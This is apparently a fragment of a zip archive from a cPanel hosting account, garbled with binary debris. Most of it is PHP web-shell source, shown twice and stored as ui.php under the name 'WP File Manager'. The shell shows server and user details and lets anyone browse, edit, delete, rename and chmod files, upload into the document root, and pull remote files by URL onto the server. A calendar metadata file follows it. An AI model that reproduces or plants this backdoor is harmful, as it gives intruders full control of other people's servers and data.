"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]CO¹ò®Ë®Ëinfo@drsupernova.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]۞jBBelsa@drsupernova.com/.metadatanu„[µü¤[calendar] type VCALENDAR displayname cPanel CalDAV Calendar calendar-color #ff6c2c description Default Calendar automatically created for your account. protected 1 [addressbook] description Default Address Book automatically created for your account. displayname cPanel CardDAV Address Book protected 1 type VADDRESSBOOK 